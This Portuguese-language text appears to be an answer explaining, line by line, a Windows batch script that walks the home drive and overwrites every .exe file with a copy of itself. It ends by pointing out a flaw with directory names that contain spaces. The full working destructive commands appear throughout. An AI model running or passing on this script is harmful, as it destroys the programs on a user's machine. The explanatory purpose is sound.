@echo off
Desativa o eco dos comandos em lote.
Dir %Homedrive% /s /b > DirPath
Lista todos os arquivos e diretórios em sua unidade inicial (geralmente C: ), um por linha ( /b switch), incluindo subdiretórios ( /s switch) e armazena o resultado no arquivo DirPath .
For /f %%Y In (DirPath) Do ( ... )
Transversa DirPath e executa ... para cada item. %%Y conterá o primeiro item da linha.
Set DirPath=%%Y > Nul
Armazena o primeiro item da linha na variável DirPath .
For %%Z In (%DirPath%\*.exe) Do ( ... )
Transversa todos os arquivos .exe no diretório armazenado na variável DirPath . %%Z conterá o nome do executável.
Set ExeInfect=%%Z > Nul
Armazena o nome do executável na variável ExeInfect .
Copy /y %0 %ExeInfect%
Copia sem avisar ( /y switch) o executável atual (ou seja, o arquivo de lote) sobre o executável armazenado em ExeInfect .
Como resultado, todos os executáveis são substituídos pelo arquivo em lote.
Bem, quase todos. O primeiro comando For se comportará incorretamente se o nome do diretório contiver espaços ...